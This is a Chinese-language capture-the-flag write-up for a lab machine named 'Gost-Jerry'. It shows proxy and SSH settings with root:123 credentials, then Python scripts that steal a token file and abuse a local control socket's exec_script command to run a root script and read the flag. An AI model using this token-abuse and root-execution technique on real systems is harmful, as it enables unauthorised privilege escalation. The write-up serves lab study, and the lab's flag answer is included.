

Gost-Jerry

[user](#)

[root](#)

[stage1](#)

[stage2](#)

[stage3](#)

user

这里是代理，通过代理，然后内部127.0.0.1才能ssh



```
{
  "services": [
    {
      "name": "service-0",
      "addr": ":1680",
      "handler": {
        "type": "auto",
        "auth": {
          "username": "root",
          "password": "123"
        }
      },
      "listener": {
        "type": "tcp"
      }
    }
  ],
  "api": {
    "addr": "127.0.0.1:53000"
  },
  "metrics": {
    "addr": "0.0.0.0:9000"
  }
}
```

SSH配置编辑



标准 隧道 代理 环境变量 高级

代理方式

HTTP



连接超时(秒)

5

Host

192.168.56.105

端口

1680

账号

root

密码

123



测试连接

保存

SSH配置编辑

标准隧道代理环境变量高级

颜色标签

名称

gost

User

root

密码

私钥

MFA/2FA

预设账号密码

跳板机私钥

SSH Agent

不验证

备注

环境

无

Host

127.0.0.1

端口

22

密码

123

测试连接

保存

代理和ssh账密都是 `root:123`

root

stage1

先测一下不给token的情况：

```
1 import socket
2
3 s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
4 s.connect("/var/run/system-ctrl.sock")
5 s.sendall(b"help\n")
6 print(s.recv(1024).decode(errors="replace"))
7 s.close()
```

```
root@Gost:/tmp$ python3 test.py
Error: Invalid or missing token. Format: 'TOKEN|COMMAND'
```

说明他确实是它确实是个“token 校验型”本地控制接口，消息格式就是 TOKEN|COMMAND

stage2

```
1 import socket
2 from pathlib import Path
3
4 token = Path("/opt/.secret_token").read_text().strip()
5 msg = f"{token}|help".encode()
6
7 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
8 sock.connect("/var/run/system-ctrl.sock")
9 sock.sendall(msg)
10 print(sock.recv(4096).decode(errors="replace"))
11 sock.close()
```

```
root@Gost:/tmp$ python3 test1.py
Available: status, exec_script [path]
```

支持status、支持exec_script [path]，说明只要提供一个脚本的路径，服务就会执行它

按照惯例，rootflag放在 `/root/root.txt`，在test.sh中写 `cat /root/root.txt`

```
1 import socket
2 from pathlib import Path
3
4 token = Path("/opt/.secret_token").read_text().strip()
5 msg = f"{token}|exec_script /tmp/test.sh".encode()
6
7 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
8 sock.connect("/var/run/system-ctrl.sock")
9 sock.sendall(msg)
10 print(sock.recv(4096).decode(errors="replace"))
11 sock.close()
```

```
root@Gost:/tmp$ python3 test2.py
```

```
Error: Path forbidden
```

说明不是任意路径都能执行，再写一个无害的poc

```
1 import socket
2 from pathlib import Path
3
4 token = Path("/opt/.secret_token").read_text().strip()
5 msg = f"{token}|exec_script /home/todd/poc.sh".encode()
6
7 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
8 sock.connect("/var/run/system-ctrl.sock")
9 sock.sendall(msg)
10 print(sock.recv(4096).decode(errors="replace"))
11 sock.close()
12
13 """
14 #poc.sh
15 id > /home/todd/poc.out
16 whoami >> /home/todd/poc.out
17 """
```

执行结果，说明这一步已经拿到了权限，也说明存在路径白名单，这是一个受限路径下的任意root脚本执行

× poc.out (gost)

```

1 uid=0(todd) gid=0(root)
2 todd
3

```

stage3

现在知道了sh在特定的路径才能执行之后就可以直接拿flag了

Python

```

1 import socket
2 from pathlib import Path
3
4 token = Path("/opt/.secret_token").read_text().strip()
5 msg = f"{token}|exec_script /home/todd/getroot.sh".encode()
6
7 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
8 sock.connect("/var/run/system-ctrl.sock")
9 sock.sendall(msg)
10 print(sock.recv(4096).decode(errors="replace"))
11 sock.close()
12 """
13 #getroot.sh 记得修改权限 755
14 cat /root/root.txt >> /home/todd/root.out
15 """

```

× test3.py (gost)

× getroot.sh (gost)

× root.out (gost)

```

1 flag{root-20d6105f4a0baf7ab1dcd91ee5e919e7}
2 flag{root-20d6105f4a0baf7ab1dcd91ee5e919e7}
3

```